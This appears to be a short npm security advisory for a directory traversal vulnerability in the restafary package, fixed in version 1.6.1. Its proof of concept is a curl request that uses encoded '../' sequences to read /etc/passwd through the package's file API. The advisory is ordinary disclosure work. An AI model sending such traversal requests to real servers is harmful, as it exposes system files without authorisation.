npm

Severity: moderate

Directory Traversal

restafary

Overview

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Remediation

Update to version 1.6.1 or later.

Have content suggestions? Send them to [email protected]

Advisory timeline

  1. published

    Advisory published
    Mar 28th, 2016
  2. reported

    Initial report by Craig Arendt
    Mar 25th, 2016